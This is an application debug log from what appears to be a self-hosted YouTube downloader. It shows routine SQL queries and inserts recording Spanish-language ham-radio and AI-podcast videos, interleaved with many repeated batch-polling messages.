21:53:33.485 [debug] QUERY OK source="media_items" db=1.4ms idle=1752.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-05 17:01:16Z], 3] 21:53:33.488 [debug] QUERY OK source="media_items" db=1.9ms idle=872.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a ver en este vídeo como usar un OCXO Chino para mejorar las lecturas de frecuencias de un frecuencímetro Promax clásico.\n\nPor cierto, puntualización importante. Tras comentarle que faltaba un puente, Jordi me comentó que él había dejado unos jumpers montados para hacer el cambio. Yo que se vé que tenía el día espeso, con el plano en la mano ni me dí cuenta. O sea que aunque mi modificación sea correcta, hay que reseñar que ya estaba preparado por Jordi mediante jumpers, y yo no lo ví. Cosas de ir con anteojeras concentrado en el esquema y sin ver lo que hay que ver.\n\nEnlace de compra del tinyGTC:\n\nhttps://www.astroradio.com/p/tinygtc-zc412/\n\nEnlace de compra de los OCXO (hay mas):\n\nhttps://es.aliexpress.com/item/1005007298509492.html\n\n#promax #ocxo #hamradio #radioaficionados #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "178 - INSTALANDO OCXO CHINO EN FRECUENCIMETRO PROMAX", "5fbda9de-ed52-484d-a096-ab7f55e50d71", 1524, false, "lG-P8V38pHc", "https://www.youtube.com/watch?v=lG-P8V38pHc", 1, "/downloads/music/ea3grn/178 - INSTALANDO OCXO CHINO EN FRECUENCIMETRO PROMAX.m4a", false, false, false, 3, [], 98, ~U[2026-02-05 17:01:16Z], ~U[2026-02-07 20:53:33Z], ~U[2026-02-07 20:53:33Z], "Vamos a ver en este vídeo como usar un OCXO Chino para mejorar las lecturas de frecuencias de un frecuencímetro Promax clásico.\n\nPor cierto, puntualización importante. Tras comentarle que faltaba un puente, Jordi me comentó que él había dejado unos jumpers montados para hacer el cambio. Yo que se vé que tenía el día espeso, con el plano en la mano ni me dí cuenta. O sea que aunque mi modificación sea correcta, hay que reseñar que ya estaba preparado por Jordi mediante jumpers, y yo no lo ví. Cosas de ir con anteojeras concentrado en el esquema y sin ver lo que hay que ver.\n\nEnlace de compra del tinyGTC:\n\nhttps://www.astroradio.com/p/tinygtc-zc412/\n\nEnlace de compra de los OCXO (hay mas):\n\nhttps://es.aliexpress.com/item/1005007298509492.html\n\n#promax #ocxo #hamradio #radioaficionados #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "178 - INSTALANDO OCXO CHINO EN FRECUENCIMETRO PROMAX", 1524, false, "lG-P8V38pHc", "https://www.youtube.com/watch?v=lG-P8V38pHc", "/downloads/music/ea3grn/178 - INSTALANDO OCXO CHINO EN FRECUENCIMETRO PROMAX.m4a", false, 3, ~U[2026-02-05 17:01:16Z]] 21:53:33.489 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=757.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:53:33.490 [debug] QUERY OK source="media_profiles" db=0.9ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:53:33.491 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1281] 21:53:33.492 [debug] Current batch of media processed. Will check again in 1000ms 21:53:34.446 [debug] Current batch of media processed. Will check again in 1000ms 21:53:34.492 [debug] Current batch of media processed. Will check again in 1000ms 21:53:35.447 [debug] Current batch of media processed. Will check again in 1000ms 21:53:35.493 [debug] Current batch of media processed. Will check again in 1000ms 21:53:36.448 [debug] Current batch of media processed. Will check again in 1000ms 21:53:36.494 [debug] Current batch of media processed. Will check again in 1000ms 21:53:37.449 [debug] Current batch of media processed. Will check again in 1000ms 21:53:37.495 [debug] Current batch of media processed. Will check again in 1000ms 21:53:38.450 [debug] Current batch of media processed. Will check again in 1000ms 21:53:38.496 [debug] Current batch of media processed. Will check again in 1000ms 21:53:39.451 [debug] Current batch of media processed. Will check again in 1000ms 21:53:39.497 [debug] Current batch of media processed. Will check again in 1000ms 21:53:40.452 [debug] Current batch of media processed. Will check again in 1000ms 21:53:40.498 [debug] Current batch of media processed. Will check again in 1000ms 21:53:41.453 [debug] Current batch of media processed. Will check again in 1000ms 21:53:41.499 [debug] Current batch of media processed. Will check again in 1000ms 21:53:42.454 [debug] Current batch of media processed. Will check again in 1000ms 21:53:42.500 [debug] Current batch of media processed. Will check again in 1000ms 21:53:43.455 [debug] Current batch of media processed. Will check again in 1000ms 21:53:43.501 [debug] Current batch of media processed. Will check again in 1000ms 21:53:44.456 [debug] Current batch of media processed. Will check again in 1000ms 21:53:44.502 [debug] Current batch of media processed. Will check again in 1000ms 21:53:45.457 [debug] Current batch of media processed. Will check again in 1000ms 21:53:45.503 [debug] Current batch of media processed. Will check again in 1000ms 21:53:46.458 [debug] Current batch of media processed. Will check again in 1000ms 21:53:46.504 [debug] Current batch of media processed. Will check again in 1000ms 21:53:47.459 [debug] Current batch of media processed. Will check again in 1000ms 21:53:47.505 [debug] Current batch of media processed. Will check again in 1000ms 21:53:48.460 [debug] Current batch of media processed. Will check again in 1000ms 21:53:48.506 [debug] Current batch of media processed. Will check again in 1000ms 21:53:49.461 [debug] Current batch of media processed. Will check again in 1000ms 21:53:49.507 [debug] Current batch of media processed. Will check again in 1000ms 21:53:50.462 [debug] Current batch of media processed. Will check again in 1000ms 21:53:50.508 [debug] Current batch of media processed. Will check again in 1000ms 21:53:51.075 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:51.463 [debug] Current batch of media processed. Will check again in 1000ms 21:53:51.509 [debug] Current batch of media processed. Will check again in 1000ms 21:53:52.464 [debug] Current batch of media processed. Will check again in 1000ms 21:53:52.510 [debug] Current batch of media processed. Will check again in 1000ms 21:53:53.465 [debug] Current batch of media processed. Will check again in 1000ms 21:53:53.511 [debug] Current batch of media processed. Will check again in 1000ms 21:53:54.466 [debug] Current batch of media processed. Will check again in 1000ms 21:53:54.512 [debug] Current batch of media processed. Will check again in 1000ms 21:53:55.467 [debug] Current batch of media processed. Will check again in 1000ms 21:53:55.513 [debug] Current batch of media processed. Will check again in 1000ms 21:53:56.468 [debug] Current batch of media processed. Will check again in 1000ms 21:53:56.514 [debug] Current batch of media processed. Will check again in 1000ms 21:53:57.469 [debug] Current batch of media processed. Will check again in 1000ms 21:53:57.515 [debug] Current batch of media processed. Will check again in 1000ms 21:53:58.470 [debug] Current batch of media processed. Will check again in 1000ms 21:53:58.516 [debug] Current batch of media processed. Will check again in 1000ms 21:53:59.471 [debug] Current batch of media processed. Will check again in 1000ms 21:53:59.517 [debug] Current batch of media processed. Will check again in 1000ms 21:54:00.069 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:00.472 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣8️⃣: IAMIQuien - Carlos Cubero - Senior de Todo 😎\n\nMuchos lo conocéis ya, hoy tenemos a uno de los grandes de la tecnología de Aragón.. Carlos Cubero. \n\nEn hashtag#IAMIQUIEN hoy David García Martínez y yo charlamos con Carlos para que nos cuente como es su vida, su día a día con la IA. Si eres PM, Consultor... o simplemente humano, te interesa!.\n\nNo tiene desperdicio, ya nos diréis que os parece... dispararle preguntas que Carlos contesta!!!\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #origen #IAGen #GenAI #projectmanagement #Consultoria", "duration" => 876, "filename" => "/downloads/music/IA mí QUÉ/EP.48: IAMIQUIEN con CARLOS CUBERO.m4a", "id" => "d7Og1mqzK9g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=d7Og1mqzK9g", "playlist_index" => 2, "timestamp" => 1770107799, "title" => "EP.48: IAMIQUIEN con CARLOS CUBERO", "upload_date" => "20260203"} 21:54:00.473 [debug] QUERY OK source="sources" db=0.6ms idle=1742.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:54:00.474 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1743.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:54:00.475 [debug] QUERY OK source="media_items" db=0.7ms idle=1744.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 08:36:39Z], 2] 21:54:00.477 [debug] QUERY OK source="media_items" db=1.2ms idle=811.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣8️⃣: IAMIQuien - Carlos Cubero - Senior de Todo 😎\n\nMuchos lo conocéis ya, hoy tenemos a uno de los grandes de la tecnología de Aragón.. Carlos Cubero. \n\nEn hashtag#IAMIQUIEN hoy David García Martínez y yo charlamos con Carlos para que nos cuente como es su vida, su día a día con la IA. Si eres PM, Consultor... o simplemente humano, te interesa!.\n\nNo tiene desperdicio, ya nos diréis que os parece... dispararle preguntas que Carlos contesta!!!\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #origen #IAGen #GenAI #projectmanagement #Consultoria", "EP.48: IAMIQUIEN con CARLOS CUBERO", "cf627cee-fdf7-4d0d-a422-5830e253e30d", 876, false, "d7Og1mqzK9g", "https://www.youtube.com/watch?v=d7Og1mqzK9g", 2, "/downloads/music/IA mí QUÉ/EP.48: IAMIQUIEN con CARLOS CUBERO.m4a", false, false, false, 2, [], 97, ~U[2026-02-03 08:36:39Z], ~U[2026-02-07 20:54:00Z], ~U[2026-02-07 20:54:00Z], "#IAMIQUE 👉🏼 Ep 4️⃣8️⃣: IAMIQuien - Carlos Cubero - Senior de Todo 😎\n\nMuchos lo conocéis ya, hoy tenemos a uno de los grandes de la tecnología de Aragón.. Carlos Cubero. \n\nEn hashtag#IAMIQUIEN hoy David García Martínez y yo charlamos con Carlos para que nos cuente como es su vida, su día a día con la IA. Si eres PM, Consultor... o simplemente humano, te interesa!.\n\nNo tiene desperdicio, ya nos diréis que os parece... dispararle preguntas que Carlos contesta!!!\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #origen #IAGen #GenAI #projectmanagement #Consultoria", "EP.48: IAMIQUIEN con CARLOS CUBERO", 876, false, "d7Og1mqzK9g", "https://www.youtube.com/watch?v=d7Og1mqzK9g", "/downloads/music/IA mí QUÉ/EP.48: IAMIQUIEN con CARLOS CUBERO.m4a", false, 2, ~U[2026-02-03 08:36:39Z]] 21:54:00.477 [debug] QUERY OK source="sources" db=0.4ms idle=407.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:54:00.478 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:00.479 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1254] 21:54:00.479 [debug] Current batch of media processed. Will check again in 1000ms 21:54:00.518 [debug] Current batch of media processed. Will check again in 1000ms 21:54:01.480 [debug] Current batch of media processed. Will check again in 1000ms 21:54:01.519 [debug] Current batch of media processed. Will check again in 1000ms 21:54:02.481 [debug] Current batch of media processed. Will check again in 1000ms 21:54:02.520 [debug] Current batch of media processed. Will check again in 1000ms 21:54:03.482 [debug] Current batch of media processed. Will check again in 1000ms 21:54:03.521 [debug] Current batch of media processed. Will check again in 1000ms 21:54:04.483 [debug] Current batch of media processed. Will check again in 1000ms 21:54:04.522 [debug] Current batch of media processed. Will check again in 1000ms 21:54:05.484 [debug] Current batch of media processed. Will check again in 1000ms 21:54:05.523 [debug] Current batch of media processed. Will check again in 1000ms 21:54:06.485 [debug] Current batch of media processed. Will check again in 1000ms 21:54:06.524 [debug] Current batch of media processed. Will check again in 1000ms 21:54:07.486 [debug] Current batch of media processed. Will check again in 1000ms 21:54:07.525 [debug] Current batch of media processed. Will check again in 1000ms 21:54:08.487 [debug] Current batch of media processed. Will check again in 1000ms 21:54:08.526 [debug] Current batch of media processed. Will check again in 1000ms 21:54:09.488 [debug] Current batch of media processed. Will check again in 1000ms 21:54:09.527 [debug] Current batch of media processed. Will check again in 1000ms 21:54:10.489 [debug] Current batch of media processed. Will check again in 1000ms 21:54:10.528 [debug] Current batch of media processed. Will check again in 1000ms 21:54:11.490 [debug] Current batch of media processed. Will check again in 1000ms 21:54:11.529 [debug] Current batch of media processed. Will check again in 1000ms 21:54:12.491 [debug] Current batch of media processed. Will check again in 1000ms 21:54:12.530 [debug] Current batch of media processed. Will check again in 1000ms 21:54:13.492 [debug] Current batch of media processed. Will check again in 1000ms 21:54:13.531 [debug] Current batch of media processed. Will check again in 1000ms 21:54:14.493 [debug] Current batch of media processed. Will check again in 1000ms 21:54:14.532 [debug] Current batch of media processed. Will check again in 1000ms 21:54:15.494 [debug] Current batch of media processed. Will check again in 1000ms 21:54:15.533 [debug] Current batch of media processed. Will check again in 1000ms 21:54:16.495 [debug] Current batch of media processed. Will check again in 1000ms 21:54:16.534 [debug] Current batch of media processed. Will check again in 1000ms 21:54:17.496 [debug] Current batch of media processed. Will check again in 1000ms 21:54:17.535 [debug] Current batch of media processed. Will check again in 1000ms 21:54:18.497 [debug] Current batch of media processed. Will check again in 1000ms 21:54:18.536 [debug] Current batch of media processed. Will check again in 1000ms 21:54:19.498 [debug] Current batch of media processed. Will check again in 1000ms 21:54:19.537 [debug] Current batch of media processed. Will check again in 1000ms 21:54:20.499 [debug] Current batch of media processed. Will check again in 1000ms 21:54:20.538 [debug] Current batch of media processed. Will check again in 1000ms 21:54:21.077 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:21.500 [debug] Current batch of media processed. Will check again in 1000ms 21:54:21.539 [debug] Current batch of media processed. Will check again in 1000ms 21:54:22.501 [debug] Current batch of media processed. Will check again in 1000ms 21:54:22.540 [debug] Current batch of media processed. Will check again in 1000ms 21:54:23.502 [debug] Current batch of media processed. Will check again in 1000ms 21:54:23.541 [debug] Current batch of media processed. Will check again in 1000ms 21:54:24.503 [debug] Current batch of media processed. Will check again in 1000ms 21:54:24.542 [debug] Current batch of media processed. Will check again in 1000ms 21:54:25.504 [debug] Current batch of media processed. Will check again in 1000ms 21:54:25.543 [debug] Current batch of media processed. Will check again in 1000ms 21:54:26.505 [debug] Current batch of media processed. Will check again in 1000ms 21:54:26.544 [debug] Current batch of media processed. Will check again in 1000ms 21:54:27.506 [debug] Current batch of media processed. Will check again in 1000ms 21:54:27.545 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Este video es para anunciaros que la empresa donde trabajo: Capa Tres Soluciones Tecnológicas S.L. ha empezado este mes de enero a funcionar como servicio técnico de reparación de equipos de radioaficionado. Han llegado a un acuerdo con los fabricantes de los productos Xiegu para la reparación fuera de garantía en España de sus productos (emisoras, amplificadores, etc). Adicionalmente reparan también equipos de radioaficionado de otras marcas.\n\nMas información en https://www.capatres.es\n\nAparte en este video podemos ver la reparación de dos equipos, un amplificador Xiegu XPA125B y un acoplador de antenas de exterior MFJ994BR.\n\n#xiegu #xpa125b #mfj994br #serviciotecnico #reparacion #emisoras #kenwood #yaesu #icom #alinco #hamradio #radioaficionados\n \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1112, "filename" => "/downloads/music/ea3grn/177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES.m4a", "id" => "AC41MJrLeN4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AC41MJrLeN4", "playlist_index" => 2, "timestamp" => 1769101228, "title" => "177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES", "upload_date" => "20260122"} 21:54:27.546 [debug] QUERY OK source="sources" db=0.5ms idle=1815.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:54:27.547 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1816.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:54:27.548 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1817.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 17:00:28Z], 3] 21:54:27.550 [debug] QUERY OK source="media_items" db=1.1ms idle=826.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Este video es para anunciaros que la empresa donde trabajo: Capa Tres Soluciones Tecnológicas S.L. ha empezado este mes de enero a funcionar como servicio técnico de reparación de equipos de radioaficionado. Han llegado a un acuerdo con los fabricantes de los productos Xiegu para la reparación fuera de garantía en España de sus productos (emisoras, amplificadores, etc). Adicionalmente reparan también equipos de radioaficionado de otras marcas.\n\nMas información en https://www.capatres.es\n\nAparte en este video podemos ver la reparación de dos equipos, un amplificador Xiegu XPA125B y un acoplador de antenas de exterior MFJ994BR.\n\n#xiegu #xpa125b #mfj994br #serviciotecnico #reparacion #emisoras #kenwood #yaesu #icom #alinco #hamradio #radioaficionados\n \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES", "b473fa01-67bb-48af-b760-6a03c29f0abf", 1112, false, "AC41MJrLeN4", "https://www.youtube.com/watch?v=AC41MJrLeN4", 2, "/downloads/music/ea3grn/177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES.m4a", false, false, false, 3, [], 98, ~U[2026-01-22 17:00:28Z], ~U[2026-02-07 20:54:27Z], ~U[2026-02-07 20:54:27Z], "Este video es para anunciaros que la empresa donde trabajo: Capa Tres Soluciones Tecnológicas S.L. ha empezado este mes de enero a funcionar como servicio técnico de reparación de equipos de radioaficionado. Han llegado a un acuerdo con los fabricantes de los productos Xiegu para la reparación fuera de garantía en España de sus productos (emisoras, amplificadores, etc). Adicionalmente reparan también equipos de radioaficionado de otras marcas.\n\nMas información en https://www.capatres.es\n\nAparte en este video podemos ver la reparación de dos equipos, un amplificador Xiegu XPA125B y un acoplador de antenas de exterior MFJ994BR.\n\n#xiegu #xpa125b #mfj994br #serviciotecnico #reparacion #emisoras #kenwood #yaesu #icom #alinco #hamradio #radioaficionados\n \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES", 1112, false, "AC41MJrLeN4", "https://www.youtube.com/watch?v=AC41MJrLeN4", "/downloads/music/ea3grn/177 - REPARANDO MFJ994BR Y XIEGU XPA125B E INICIO SAT EN CAPATRES.m4a", false, 3, ~U[2026-01-22 17:00:28Z]] 21:54:27.551 [debug] QUERY OK source="sources" db=0.4ms idle=819.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:54:27.551 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) 